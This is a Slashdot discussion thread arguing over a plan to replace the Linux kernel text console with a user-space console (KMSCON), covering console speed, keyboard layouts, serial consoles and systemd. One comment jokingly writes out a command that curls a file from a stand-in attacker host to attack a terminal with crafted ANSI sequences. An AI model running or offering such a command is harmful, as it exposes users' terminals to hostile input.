Re:Look at the details, this is a joke

[KiloByte]

Back in the days of CGA we had a hardware-accelerated console. We do have it to this day, as long as framebuffer is not involved. I've seen a server that takes around a whole booping second to switch VTs. Displaying a screenful of text wasn't pleasant, either.

Re:Look at the details, this is a joke

[rrohbeck]

At least on primitive VGA subsystems like the ones you see on servers because they're integrated with the BMC for IPMI, yes, it's clearly copying memory. They often scroll only around 20 to 50 lines per second.

Re:Look at the details, this is a joke

[VortexCortex]

Wellll, actually, it's doing that, but the BIOS software is emulating the legacy behavior you see.

Re:Look at the details, this is a joke

[rrohbeck]

P.S. in graphics mode - 80x25 text is fast of course.

Re:good thinking HA!

[ezdiy]

Amen. Probably to have best of both worlds - keep minimal dumb terminal (think serial tty or basic 80x25 text) for such emergencies. init=/bin/sh is a nice thing to have.

Noob me?

[xonen]

Learned something new today - because, until now i was always assuming the console already did run in user space, and was as friendly to print kernel messages.

You must be stupid, stupid, stupid

[fnj]

The linux kernel console; a lightweight, lightning-fast TEXT console not depending on X or anything else. Who needs it, eh? Are you kidding me? This is an imbecilic idea. If you must have pointless cruft like this, add it IN ADDITION to what has ALWAYS worked perfectly, is super reliable, and super simple. Hopefully set it up so that any mature user can leave this garbage out of his system.

This is just a continuation of the systemd, Gnome 3 type of insanity.

The way things are going, BSD, here I come. An OS by adults, for adults, not a would-be Windows me-too with stupid people gradually one-by-one breaking everything that has made linux great - up until now.

Re:You must be stupid, stupid, stupid

[PRMan]

Seriously. What's with this new generation that has to force their way or the highway on the world? Every new piece of software that comes out forces you to do things you don't want. Now they're trying to turn Linux into Windows 8.

Re:You must be stupid, stupid, stupid

[drinkypoo]

The linux kernel console; a lightweight, lightning-fast TEXT console not depending on X or anything else.

The linux console is slow as hell. This does not distinguish it from other consoles throughout history or in the present day, except that it actually makes it substantially faster than the average Sun console. And that idea is probably out of data, I know it was on Solaris-x86, where it was approximately as slow.

With that said, while I'd like to see a faster console, I don't require more functionality from it.

Re:You must be stupid, stupid, stupid

[cozziewozzie]

The linux kernel console; a lightweight, lightning-fast TEXT console not depending on X or anything else.

I guess that you don't use Linux drivers, but rely on third party blobs.

Ever since Linux switched to kernel-based modesetting, the console has switched to a framebuffer console. No accelerated VGA text mode, but pixel blitting.

It is painfully slow.

If you must have pointless cruft like this, add it IN ADDITION to what has ALWAYS worked perfectly, is super reliable, and super simple.

It is fundamentally broken in many scenarios, like multi-seat. I canot use Linux console, for example, because it is not multi-seat aware. It is not only not reliable, it will bork your system because it accepts all keyboard input.

Re:You must be stupid, stupid, stupid

[aztracker1]

This isn't so much that... I think the step of moving the console itself out of the kernel can be beneficial... even if it didn't increase in functionality. In embedded devices, you don't need the kernel to interpret vt-* commands to the screen, if you're using a serial connection... on a local system, you can still isolate the portion of the console running independent of other code.

Given how much linux deployments are in embedded, and otherwise headless systems, it does make sense to move the UI out of kernel space. Or should we move X into the kernel too? (It's a stupid argument to make.) The point is, the kernel really doesn't *need* core console output *IN* the kernel. I would think that you could keep a stripped console (similar to the current one) in user space, so that it isn't loaded if unused/un-needed or even deployed in the case of a router.

Re:You must be stupid, stupid, stupid

[bill_mcgonigle]

threw Fedora out the window with its latest round of Gnome g-nuttiness and systemd system-dithering and has hopped over to Ubuntu.

You're a bit behind the times - the state of Fedora was enough to make Cox switch to Ubuntu. The state of Ubuntu was enough to make Cox quit linux kernel development entirely.

Re:You must be stupid, stupid, stupid

[bill_mcgonigle]

systemd

I'm fairly ambivalent about systemd. I don't see a good way to do parallel startups with shell scripts, but doing it in C really limits the good things that can be done with it.

What are your objections to systemd and what are better options?

Re:You must be stupid, stupid, stupid

[fnj]

Ugh.. you are sooooo wrong! When last I looked, at least with Fedora you had your choice of KDE, Gnome, Xfce, LXDE, MATE and a few others. Or like me, you can install ALL of them and select at login, from sessions, which you wish to be running. Let me look...yes you can do the same with OpenSuSE, Mint? Yes same with ment. I don't run Ubuntu, so someone else will have to answer for them. Does Ubuntu limit you to Unity with no option of installing other desktops?

I can confirm this. I did exactly the same thing back when I still used Fedora. It's just yum install. With RHEL 6, which I have since adopted long term, it's not quite as rosy; they are not all there in the native repos, but you can definitely have both Gnome 2 and KDE, with Xfce being a little more work, with an add-on repo being necessary. In Ubuntu you're not stuck with the default Unity either; I know you can install Gnome 3, KDE, and Xfce; probably others - without even resorting to the specials variants kubuntu, xubuntu, etc. It's just apt-get install.

Arch is probably the most agnostic of all full-fledged distros with binary packages. It doesn't even have a "default" DE[*]. To get any DE, you have to pacman -S, and you pick what you want.

~~~~~~~

[*] Or an install program either, for that matter - you have to follow a cookbook issuing manual commands to a root prompt - but that's another story.

Re:You must be stupid, stupid, stupid

[fnj]

The linux console is slow as hell.

Bull. If yours is any less than lightning fast, there is something terribly wrong with your video card or vesa support. It's definitely not the linux console code.

Re:You must be stupid, stupid, stupid

[fnj]

I guess that you don't use Linux drivers, but rely on third party blobs.

Nope. Lock stock Intel drivers on RHEL 6.

It is painfully slow.

Mine isn't. Proving it's not the linux console code itself. Looks like a driver issue.

I canot use Linux console, for example, because it is not multi-seat aware.

Then you have a problem, and I have no problem with adding the capability, and categorically do not begrudge the initiative - but NOT INSTEAD of the real console - in addition. Meanwhile, for the 99.9% of us who are not dealing with multiseat, we don't have any problem as is.

Re:You must be stupid, stupid, stupid

[fnj]

Objections are the utter lack of necessity for lightning fast boot sequence, obscurity of configuration, obsoletion of a huge body of existing init scripts, difficulty of troubleshooting, susceptibility to crashing, and the move to making it a prerequisite to the DE.

If I had to sum it up, I would say utterly unnecessary gross complication.

Re:You must be stupid, stupid, stupid

[fnj]

It does not work perfectly. Try a non-latin or non-keyboard input with no text output support platform.

Personally I couldn't care less about any of those things. I recognize there are those who do, and I have no problem with adding something for them, but please DON'T take mine away.

I agree, it works great for English speaking PC users, but what about the rest of the world?

I recognize the tower of babel problem. Beyond giving these users their own parallel facilities as mentioned above, I could in the long range suggest that a common language for the world; at the very least the technical world; should be the goal. Naturally, I agree with the airlines that that common language should be English :-)

Re:You must be stupid, stupid, stupid

[drinkypoo]

Bull. If yours is any less than lightning fast, there is something terribly wrong with your video card or vesa support. It's definitely not the linux console code.

There's nothing wrong with my video card or my vesa support. It's a well-known fact that linux console output is vastly slower than, say, xterm output. Or, for that matter, gnome-terminal.

Re:You must be stupid, stupid, stupid

[cozziewozzie]

Mine isn't. Proving it's not the linux console code itself. Looks like a driver issue.

If it is the KMS-based console, then it's framebuffer-based and not text console. And speed is a subjective impression. Try timing a large compile job with and without console output.

Re:You must be stupid, stupid, stupid

[CajunArson]

You're flat-out wrong with calling the standard console "ultra-fast"

Wall-clock time to run "tree" on 152,724 files on my Arch system (repeated runs were made for each technique to ensure consistency):

      1. Using the supposedly bloated & slow Konsole under KDE: 1.8 - 1.9 seconds.

      2. Using the supposedly "ultra-fast" kernel konsole: 12.7 - 12.8 seconds.

Re:You must be stupid, stupid, stupid

[siride]

Nearly everything you said is wrong. You can use old shell scripts if you want (and some distros do just this), I've never seen it crash, it doesn't have to have anything to do with the DE and configuration is blindingly simple, unlike SysV, which I guess doesn't really have any standard configuration (and thus is, in fact, extremely obscure).

No

[TBedsaul]

No. Step away from the console.

Re:Leave in fallback support!

[dolmen.fr]

A fancy console would be nice as long as you can fall back to the old one. I'd hate to be locked out of a systems because some random video driver issue, font issue, unicode issue, or input device issue broke the new one.

It can already fail for such reason.
However what could change is that the userspace console process could be killed by the OOM Killer.

Also make sure you're not dupilcating effort. If you're going to put the console in userland anyway, maybe make is share bits with your GUI.

There is effectively some potiential for better integration. What about a console running over Wayland?

Re:Leave in fallback support!

[dolmen.fr]

I'm guessing it has not changed much because it's simple well understood.

RTFA: "it's a user-interface in kernel-space, the code is poorly maintained, handles keyboards badly [...]"

Re:good thinking HA!

[Skapare]

I suggest 2 different consoles, neither of which would need to be there for the kernel to do it's thing of running user space processes. One would be an optional in-the-kernel console complete with an in-the-kernel shell. Trim down it's capability and keep it small. The other would be an optional all-user-space console which can use the many user-space shells we already have, or any other program we want. PTY's definitely need to be pure user-space.

Re:good thinking HA!

[rubycodez]

I think it should require Unity and a touchscreen

Re:good thinking HA!

[rubycodez]

had funny thought, this might work in MINIX kernel architecture, but not monolithic one

Re:good thinking HA!

[greg1104]

I await the new console with gesture support. There is one gesture I regularly make to systems that are so broken I have to use the console.

Re: offcourse

[jabberw0k]

Off-course like the Costa Concordia?

If you aren't using a serial port

[ultrasawblade]

then you aren't really using a "failsafe" console. Even Windows has this with it's "Special Administration Console" / "Emergency Management Services."

When I was building custom kernels for my server I would remove the VT support. Pure serial.

So I don't care. Sounds good from a design standpoint. Should have the least in the kernel possible - simple = robust.

What exact problem is this trying to solve?

[idontgno]

From TFA (to save your delicate eyes from the indignity of RTFA):

Among his principal complaints about the current terminal is that it's a user-interface in kernel-space, the code is poorly maintained, handles keyboards badly, produces bad font rendering, misses out on mode-setting and multi-head support, contains no multi-seat awareness, and only has limited hot-plugging handling, limited to VT102 compliance.

Let's look at this one item at a time.

1. "user-interface in kernel-space": Is this a philosophical objection? I'd argue that depending completely on userspace for system restoration is basically giving up on many classes of system problems. If you don't have user interaction at the kernel level, your only response to certain problems is reduced to "burn it down and rebuild it, lol". If you're all VM, sure, go nuts. But VM isn't universal, and restructuring Linux to only be usable in VM environments only is just foolish and shortsighted.
2. "code is poorly maintained": [Citation needed]. Is the complaint that it hasn't had commits in a while? Maybe because it's not broke? Simple capability with simple requirements probably attained stable maturity years ago. Maybe the committers should toss in a few random code restructures to make it look like someone cares.
3. "handles keyboards badly": Does it drop keystrokes? If it doesn't do that, there's absolutely no rational basis for this complaint. Maybe baby wants his arrow keys, or non-ASCII character set? Screw that. This is a console. Use vi commands like a grownup. And you don't need your umlauts and accents. The commands are all composed of ASCII characters. If you're reduced to using the console, internationalization is the least of your problems.
4. "produces bad font rendering": "bad font rendering?" "BAD FONT RENDERING?" Seriously? "It's not pretty enough?" I'm not even gonna address this drivel.
5. "misses out on mode-setting and multi-head support": Guess what. There is exactly ONE CONSOLE. It's for the use of ONE ADMINISTRATOR to restore function to a system which can't otherwise run in multi-head, multi-user modes. Not a problem.
6. "contains no multi-seat awareness": While you're at it, please complain that cars don't have multiple drivers' seats.
7. "limited hot-plugging handling": Interestingly, when system consoles were serial terminals like God intended, hot-plugging was a non-problem, since EIA RS-232 specifications meant that you could hot-plug serial cabling to your heart's content. Maybe thats' where the solution to this "problem" properly lies?
8. "limited to VT102 compliance": Oh, I'm so sorry it doesn't include your favorite terminal emulation. But it's good enough to run vi (properly statically linked, in /sbin), and that's as close to a GUI you'll ever get in system recovery operations. so, um, NO.

Re:What exact problem is this trying to solve?

[psmears]

"handles keyboards badly": Does it drop keystrokes? If it doesn't do that, there's absolutely no rational basis for this complaint. Maybe baby wants his arrow keys, or non-ASCII character set? Screw that. This is a console. Use vi commands like a grownup.

Maybe the user wants to get the ">" symbol on pressing the ">" key. Which is different on different keyboard layouts. Doesn't seem too unreasonable...

And you don't need your umlauts and accents. The commands are all composed of ASCII characters.

... but the filenames aren't. When you're trying to free up vital disk space by deleting hügë_fïlë.jpg, wouldn't it be handy to be able to type its filename?

Re:What exact problem is this trying to solve?

[SuricouRaven]

I can imagine some sneaky user putting a huge file in and spelling it with homoglyphs, just to annoy the admins. Added bonus if you find a way to mess with GUI tools too - eg, placing two files with the same name in different case in a folder where the admin habitually uses Windows to modify it.

Re:What exact problem is this trying to solve?

[Anonymous Coward]

The Linux console can already set the key map from user space. man loadkeys.

Re:What exact problem is this trying to solve?

[Kjella]

"handles keyboards badly": Does it drop keystrokes? If it doesn't do that, there's absolutely no rational basis for this complaint. Maybe baby wants his arrow keys, or non-ASCII character set? Screw that. This is a console. Use vi commands like a grownup. And you don't need your umlauts and accents. The commands are all composed of ASCII characters. If you're reduced to using the console, internationalization is the least of your problems.

At least some keyboard layouts rearrange the ASCII letters as well, Germany, Austria, Switzerland Serbia, Montenegro, Croatia, Slovenia, Bosnia-Herzegovina, Hungary, France, Belgium and Lithuania at least - usually just a few letters. What is more important is that all sorts of things like parentheses, slashes, quotation marks, question marks, asterisk, equals sign, colon, semicolon, piping etc. all change places for a lot more countries like us here in Norway, because we've made room on the far right for ÆØÅ so the other punctuation must be pushed around. Being able to set a keyboard mapping is the minimum I'd expect even from an emergency recovery console in 2013.

Re:What exact problem is this trying to solve?

[psmears]

Yes, I know, but the claim is that its keyboard handling is less than perfect. I don't know the details of that; I was merely making the point that "just use ASCII" isn't enough to mean you don't need to worry about keyboard mappings.

Re:What exact problem is this trying to solve?

[Anonymous Coward]

"user-interface in kernel-space": Is this a philosophical objection? I'd argue that depending completely on userspace for system restoration is basically giving up on many classes of system problems.

Well.. without a userspace shell on that console, you aren't going to be doing much restoration at all, just viewing kernel messages.

My problem is while UNIX was designed as a multi-user operating system, it was not designed for having this critical system infrastructure in userspace.
I mean the whole creating a unique system account for each process, giving it a broken shell, giving it no home directory, sort of hoping you don't find files owned as such user with no built in way of preventing that. ... Mucking with its priority because it's scheduled with actual USER processes... and disk or net throughput and quotas, memory quotas, etc.. then mandatory access controls?

I know some of you just see that as derp service account derp, but maybe you're thinking of a different OS because in Linux these are just a regular user-as-in-human-being account with a long, long list of hacks that are meant to protect userspace from an individual user, not a whole class of system processes from _all_ of real user-as-in-person-pace.

There really ought to be two levels of userspace IMHO... before more critical stuff comes out of the kernel.

Re:What exact problem is this trying to solve?

[ultranova]

When you're trying to free up vital disk space by deleting hügÃ_fÃlÃ.jpg, wouldn't it be handy to be able to type its filename?

Is it actually impossible to type in umlauts? Or does the console simply not show them correctly?

Besides, doesn't ext2/3 reserve some disk space for the root by default? 5% if memory serves. Enough to get userspace - even X - running, at the very least.

Re:What exact problem is this trying to solve?

[SigmundFloyd]

Being able to set a keyboard mapping is the minimum I'd expect even from an emergency recovery console in 2013.

I've been doing that for years before 2013. Not to mention:

1. - exchanging the caps-lock and escape keys;
2. - setting up the console to use UTF-8 to get all the accented characters I'll ever need, plus the Euro sign;
3. - setting up "dead" keys to accent/modify the next typed character;
4. - setting up a "combination" key to join the next 2 typed characters into a single approximation;
5. - using the very nice Terminus bitmap font in place of the default VGA font;
6. - setting up the colors for green on black (or yellow on black, or white on blue, or...);
7. - using a blinking block cursor instead of the default blinking underscore.

The Linux console has been doing all of the above (and more) for years. Remember, kids: Real geeks read the docs!

Re:What exact problem is this trying to solve?

[psmears]

Is it actually impossible to type in umlauts? Or does the console simply not show them correctly?

From memory, it can actually cope with both typing umlauts and displaying them - but the suggestion is that there are other internationalisation cases not handled so well.

Besides, doesn't ext2/3 reserve some disk space for the root by default? 5% if memory serves. Enough to get userspace - even X - running, at the very least.

It does do that, but in practice it doesn't always help: if a daemon running as root has issues that mean it writes lots of logs, that can fill the disk completely - and you don't necessarily want to delete the logs since you may need them for further investigation, so finding something else may be necessary.

Re:What exact problem is this trying to solve?

[psmears]

3. This is why your shell has wildcards.

It's nice to be able to know what the name of a file is before deleting it - it may give some idea about whether it should be kept or not.

2. Putting non-ASCII characters in filenames is an even worse idea than putting spaces in filenames. Don't do it, and you won't have problems.

I don't do it. The users on systems I (hypothetically) maintain may not be so considerate. Especially if their first language is written in a different alphabet.

1. You should have consulted a table of Linux-compatible keyboards before you bought your keyboard.

Or perhaps consult a Linux compatibility table before deciding to be born into a country with an unsupported language? Or are you suggesting that everyone should keep two keyboards, one for the language they use all the time, and one for Linux console use? (In practice it wouldn't help either, because Linux supports virtually all keyboards in desktop environments, so your compatibility table would likely say "yes" even without full console support.)

Introduction of KMSCON...

[Anonymous Coward]

How about a more informative introduction? All of the concerns raised have been addressed. If only people would avail themselves of a more complete understanding before vehemently opposing any sort of change, the world would be a much better place. If not though, the least you could do is keep quiet if you refuse to inform yourself.

This isn't change for the sake of change; the present VT system is seriously lacking, and has been since its inception.

Re:Introduction of KMSCON...

[noobermin]

Welcome to slashdot.

Not again.

[gallondr00nk]

Are *nix developers bored or something? As if the udev/systemd/initscripts changes weren't enough. What possible good can come from messing with TTY?

Things being around for a while doesn't make them automatically needing replacement. That's Windows logic.

Oh well, there'll always be sensible fork.

Re:Not again.

[TCM]

Don't insult *nix developers. This is Linux we're talking about.

The damage is already done.

[Guspaz]

My normally headless file server has a low-end nVidia card in it. This machine has no GUI, just the text console.

Video output of the text console on this machine does not work without installing the proprietary nVidia drivers. I just get garbled noise on the screen otherwise. This boggled my mind. It's a bug in the Nouveau drivers the kernel loads by default, of course, but the fact that video card driver bugs were preventing me from using the machine's text console...

It turns out that at some point the linux terminal switched to a GUI mode rather than using the actual character output mode. Hence why you now need graphics drivers for the most basic use of a machine.

Re:The damage is already done.

[Guspaz]

Messing around with kernel boot parameters to solve the problem is not something a typical user should have to do, and researching the problem is frustrating because everybody already assumes you have knowledge that you don't when you approach the problem for the first time. This sort of stuff being broken out of the box is not something you can blame on the user.

As for your quip about serial consoles... don't make me laugh. Perhaps you'll find such things in dedicated server boards, but few consumer or even workstation class motherboards have onboard serial ports to begin with, and nobody that I know, no matter how may headless boxes they've got, uses a serial port to interact with it.

Last time that I had to connect to a serial port on something, a year or two ago, finding a goddamn serial port on a computer was the problem. USB serial adapters are extremely special order (none of the local computer or electronic stores carried them, even the business-oriented stores), and ordering online wasn't an option due to time pressures. I ended up having to borrow a 486 laptop with a serial port and a PCMCIA ethernet adapter so that I could connect the serial cable to the laptop, and SSH into the laptop.

Re:The damage is already done.

[TCM]

Looks like the problem is you running a "file server" on desktop-class hardware, then complaining that several small bits of fail end up as one big mess.

Seriously, NVidia graphics in a server with binary blobs disguised as drivers and all that? You're doing it wrong. Period.

Problem is, too many people doing it wrong come up with the next generation of ideas to fuck up perfectly working systems even more. See article.

Re:The damage is already done.

[petteyg359]

You can get a Prolific 2303 chipset USB-to-serial adapter for $6 from Amazon, which is fully supported by Linux. Your excuse is BS.

Re:The damage is already done.

[Guspaz]

And then what? Run a 40 foot USB cable from the server to the nearest computer?

Re:The damage is already done.

[Guspaz]

I had a server-grade SuperMicro motherboard in the thing. It had a serial port, but it was old, supporting nothing newer than a Core 2 and 3GB of RAM. Not wanting to spend money on an upgrade, I repurposed an unused desktop motherboard with an i7-920 and 24GB of RAM.

Not everybody can afford the latest and greatest rackmount server for their home fileserver.

Re:The damage is already done.

[TCM]

So now you run 24GB of non-ECC memory in a file server.

It's OK, everyone is allowed to shoot themselves in the foot as hard as they want. But personally, I wouldn't announce it in a public discussion and make a fool out of myself.

Your use case has no relevance to the discussion.

Re:The damage is already done.

[petteyg359]

Or pick up your any-better-than-lowest-end-Android-device-made-in-the-last-few-years with USB host support, a portable screen, and a bluetooth keyboard. You know, similar to the kind of things datacenters have been using for a decade to manage racked servers.

Re:The damage is already done.

[Guspaz]

Right, because I'm the only person in the world who has a home file server and doesn't use ECC RAM in it.

Welcome to the real world.

Re:The damage is already done.

[Guspaz]

Don't own any Android devices. Sorry.

Re:The damage is already done.

[petteyg359]

You're very good at finding excuses. I recommend you get out of system administation and go into middle management.

Re:The damage is already done.

[Guspaz]

I'm not a system administrator... This is a home file server, and apparently you and everybody else is convinced that people who want to use home file servers need to build an enterprise-grade datacenter in their homes.

Re:good thinking HA!

[Marillion]

Running the console in User Space really meaning running a kernel thread in the unprivileged mode of the CPU. If you do a process listing on a current system, most of the PID's < 100 are user space threads launched from within the kernel itself and part of the kernel code base. These include things like USB management, software RAID, swapd, ext4-dio-unwrit. They don't create external dependencies. The chief benefit is that failures in those threads can't take the whole system down. I'm surprised we haven't seen a carefully crafted ANSI console attack hack circulating out there. "Hey kidz, try this: curl h**p://hacker.com/badansi.txt"

While I fully respect the concern of preserving the access of last resort as it is, the only "emergency" I ever have ever needed to use a physical console is when network connectivity goes belly up and you have to fix the network configuration to the point that you can SSH back into it again.

Re:Going that way for a while now

[AwesomeMcgee]

I have already accepted that the linux I grew up on in the late nineties was killed (sometime in the mid-thousands I think, I was too busy working in .NET at the time to notice until I moved back to linux ~2009) and replaced by a completely opaque box, where everyone chides you for even thinking of recompiling your kernel ever because it will break everything, just choose one of the pre-compiled ones made by your linux masters.

I remember a beautiful simple system where everyone recompiled their kernels, it was simple and expected; and the system's components were independent enough to roll with changes like this, where running console-only didn't make you out to be a weirdo and switching versions of X wouldn't break every piece of your system, rather it would just switch your X.

Recently the linux I have met is a nice windows replacement. It acts like windows, I use it like windows, and the whole thing breaks if I try to change anything under the hood like windows.

Perhaps it's time to go back to FreeBSD, where simplicity was always the purpose, I sure hope in my time away from it (10 years now) it hasn't been won over by the dark side like linux was...

Re:Going that way for a while now

[AwesomeMcgee]

Or to be more succinct... http://www.dreamsongs.com/RiseOfWorseIsBetter.html linux has become worse to become better.

Re:Going that way for a while now

[ButchDeLoria]

At least Upstart has initscript support.

Re:good thinking HA!

[aztracker1]

Seeing Linux in quite a number of embedded applications, I would say yes... also, just because it is in user mode, doesn't mean it has to be loaded with everything in user-space to be available at the core... It does make more advanced options available, and more easily swapped out, or removed altogether.

Re:QUICKLY EVERYONE

[Goaway]

Slashdot: News for Luddites, stuff that scares us.

Re:Going that way for a while now

[X0563511]

FreeBSD should still be good for you. If not, go play with OpenBSD.

Re:Going that way for a while now

[gmack]

I used Linux in the late 90s and I really don't miss my younger siblings crashing my Linux machine by switching back and forth from X to console too quickly. I also don't miss having to enter modelines to get my screen working or write my dialup scripts from scratch.

FYI I don't know what distro you are using but I still recompile since precompiled kernels don't come with things like RDP (I'm experimenting). It's even easier than it was in the 90s.

Re:good thinking HA!

[smallfries]

So just a seven character file with File:/// then? :)

And what happens on a server...

[whitroth]

when you're just installing, and there's a problem, or the system's crashed? Will there still be a real console in system space?

            mark

QNX does this and gets it right.

[Animats]

QNX, the real-time message passing operating system now owned by Blackberry, does all "console" handling in user space. They've done that for years. That's because, in the embedded world, you can't assume the target machine has a console, or even a serial port.

When you build a QNX boot image for an embedded system, you can add any programs you want to be available as soon as the system boots. All device drivers are in user space, so that's how the initial set of drivers gets loaded. You can also load applications that way. Having a file system is optional. If necessary, all software can be in a ROM. This allows scaling down to small embedded devices.

A serial console program is available, and is loaded into most systems that have a serial port. There are other options for systems that don't have a serial port, like connecting it to a network.

There's also a system logger. It's common to have the system logger log to some network destination elsewhere, so problems out at Pumping Station 42 are reported to the control center far away.

Linux has tried to emulate this architecture. More drivers are in user space. But in Linux that was an afterthought, and it shows.

Re:good thinking HA!

[Marillion]

And that only takes down one user process without taking down the whole system. That's an example of a bug in a common library. It's similar to all the sprintf exploits over the years.

...and if you don't HAVE a serial port

[phorm]

It's not exactly a standard option on all machines these days. I have a USB-serial adaptor to plug into my servers, but if the box that has the issue is the one with no serial port, well....

Re:...and if you don't HAVE a serial port

[ultrasawblade]

Then, PCI/PCIe serial port adapter. No Linux box should be without one. The decision to take this off standard PC motherboards was stupid.

Laptop? They have PCMCIA to serial port adapters.

Re:...and if you don't HAVE a serial port

[phorm]

"They have PCMCIA to serial port adapters."

Yes, but will said adaptor work when you're trying to solve an issue that's already broken the machine to the point where the VGA terminal isn't working, or when it's stuck at the busybox bootloader?

Re:...and if you don't HAVE a serial port

[amorsen]

Laptop? They have PCMCIA to serial port adapters.

Yes, and floppy disk drives. Laptops don't even have Mini-PCI-Express these days, and they certainly don't have PCMCIA.

Re:...and if you don't HAVE a serial port

[ultrasawblade]

http://compare.ebay.com/like/200851091953?var=lv&ltyp=AllFixedPriceItemTypes&var=sbar

Yes, gouging out your keyboard or RAM is acceptable to install this. All's fair in love and Linux.

What laptop doesn't have a Mini-PCIe slot?

I knew it

[MichaelSmith]

Linux is ever so slowly turning into Minix.

Not a new concept

[hpa]

The feature set of the Linux VT console has been intentionally limited from nearly the start, and the line has always been: if you need more than this, do it in userspace. There has been several projects which have, for example kon2 which provided CJK functionality -- not something that one can sanely do in the kernel because of font size; similarly, Arabic/Indic font shaping is just plain too painful. For most people, the solution has simply been to bootstrap out of the console as quickly as possible, most of the time never even showing the console. What you find pretty quickly is that if you want something that is fully featured you end up with something that is as complex as X or Wayland anyway, and then you might as well go straight there. The in-kernel console will remain, of course, as an ultimate fallback. If someone wants to give users more options, more power to them.

xterm

[iamacat]

Most end users can safely disable kernel console, as they will not have skills to debug problems that prevent basic GUI from coming up. On the other hand, for developers debugging such problems, its hard to argue against a fail safe kernel console. How are the developers of this replacement user space terminal planning to debug their code?

Not necessarily bad &%()@@ oh, udev

[fa2k]

KMSCON is also highly modular with its only hard dependencies being libxkbcommon, libudev, libpixman, and glibc. The DRM library (libdrm) is optional.

I was going to write that this isn't too bad, but then I saw bloody udev. You may not be interested, but I wanted to try out KDE 4.10, but I wanted to try it before making the move for real. So I installed a whole system in a chroot and enabled the testing repositories in that. To my surprise, X11 would start in the chroot, after things like /proc and /dev were properly bind-mounted. The *only* thing that didn't work was the keyboard and mouse. The reason? Auto-discovery with udev. So all of the complex beast that is Xorg could start, but the minor niggle of the input devices wouldn't work. Disable udev auto discovery in xorg.conf -> all is well! Well except the sound used Alsa instead of Pulseaudio. Seems like only the new stuff in Linux breaks. With every new fancy layer of abstraction, we seem to lose a little stability and gain a few features. Pulse is worth it for me, as I can change between my two sound cards while playing sound, for example to put on headphones when watching a movie and it gets late. It seems to me that distros did auto-mounting of removable devices in 2005 so I don't really know what benefit I get from udev/udisks. And because I have hundreds of snapshots of my block devices, the KDE file manager chokes for seconds every time I start it. Not worth it. Having anti-aliased fonts for the rare time I use the kernel consoles ? You got to be fucking kidding me.. (I used them extensively when setting up X in a chroot, and while I'd love to have a mouse and copy/paste, I don't want to think about the additional breakage that would happen with a "better" console)

Re:Not necessarily bad &%()@@ oh, udev

[fa2k]

I should correct myself: udev can actually be useful on a general level. People with multiple SATA adapters may have their drives showing up in a random order, and udev can help manage such things.My problem is that everything gets layered onto it and falls down when something goes wrong

Re:Going that way for a while now

[Anonymous Coward]

http://0pointer.de/blog/projects/the-biggest-myths.html

Really??

[ZorinLynx]

Why are we wasting development time on this?

This is the biggest example of "If it ain't broke..." ever. This code is ROCK SOLID STABLE, and has been around for decades. Just because something is old does not mean it needs to be replaced if it performs its function well.

Let's not mess with this code and introduce new bugs unless there's a good reason. If a year down the road I find systems crashing because of console code issues, I'm going to be PISSED.

Re:Really??

[techman2]

My sentiments exactly. I am really not seeing the reason to go and redesign such a simple and reliable piece of core functionality. Just leave it the hell alone and go fix something that needs fixing.

Re:good thinking HA!

[SiChemist]

Then compile it out of the kernel in embedded applications. The kernels on those applications are all custom built anyway.

Re:good thinking HA!

[epyT-R]

poettering should make it part of systemd! problem solved!

Re:good thinking HA!

[epyT-R]

Its capabilities are fine. Don't trim them down just for ideological reasons. If you want some full featured terminal, just write one for the framebuffer. They already exist. If you have a KMS/DRM2 enabled system, it'll be hw accelerated too. Or just run a term in X and be done with it. Leave the system console alone.

Re:Going that way for a while now

[mewyn]

Of course the Linux that was in the mid-to-late 90s is dead, but it's not difficult to rebuild kernels, or have weird configurations at all.

I've got a Linux box running on a set of eclectic hardware working as an arcade machine. The monitor needs very special and specific modelines to run, hates KMS, and has some hardware that does not work right under the standard HID input driver. The machine is currently running Fedora 18 and I build a custom kernel with a patch for HID and KMS, and a very funny looking X config. This stuff is not any harder to do, in fact building a kernel was easier than back in the day. "make install" will actually put the kernel into grub, throw it in /boot and make an initrd for you.

Of note, switching versions of complex software like X would break your system back then too, just as bad, if not more so. APIs back then were way more unstable, changing from time to time, and upgrading something that had a lot of dependencies would usually lead to breakage back then.

Honestly I'm glad that now people are predominately using stock distro kernels, making things saner in the support realm. It is not beautifully simple to build your own kernel if you don't know what you're doing. There's a huge amassing of various options, subsystems, and drivers that is daunting for someone who deals with low-level system configuration, let alone some new user. These distro kernels are much better for updating, are well-tuned for most applications (most people will not do better in hand-tuning a kernel, but it is possible to do better) and honestly it's not wasteful to use a few extra kilobytes for this or that in a kernel when you have gigabytes of memory.

If you want to go to something that requires by-hand configuration for every component and doesn't have the ability to configure itself to reasonable defaults, be my guest! I'll stick with things that work most of the time, personally.

Re:Going that way for a while now

[sjames]

There have been a lot of improvements in Linux, but there has also been a lot of dane brammage shoveled in. Most of it is in userspace, but sadly, not all.

Gnome finally exceeded the maximum height BS can be piled and people are switching in droves. I have to agree that the new startup methods are mostly crap. I see no reason to pile in that much poorly documented crap to save 5 seconds at boot time (especially when we're not supposed to need to boot all that often).

I believe GP is referring to the situation in Fedora (perhaps changed now). For a while, it would break fairly badly if you dared to go back even a single sub-minor number on your kernel.

I am definitely NOT fond of grub2's configuration system. They took a simple and sane config and turned it into a 20 headed hydra full of config files and scripts that write config files. It's a very complex solution to a very simple problem and it needs to die. I have similar feelings about the way /dev is handled now. I can live with devices appearing and disappearing, but wit's with the bazillion little cryptic files.

It really IS becoming more opaque like Windows.

I certainly agree about the modelines. Good riddance to them. DDP is a win!

As long as it works when I need it...

[Oflameo]

As long as it works when I need it such as when I want to play nethack or when I borked my system up when I'm experimenting, I don't care. If it makes my system function like the current version of Debian testing and I lose access to tty 1-6 because I started X on tty 7 I am against it because I needed those.

HAL9000

[iive]

"I'm sorry... I can't let you do that Dave."

Car anaology

[fikx]

replacing an oil dip-stick with a digital gauge that shows a dip-stick image.

He addresses these concerns

[inquist]

I recommend watching at least the first 5-10 minutes of the talk Herrmann gives, in the video on the linked page. He addresses all of the concerns I've seen in comments here.

As projects grow, to me the question is not whether things should be changed, but how they should change.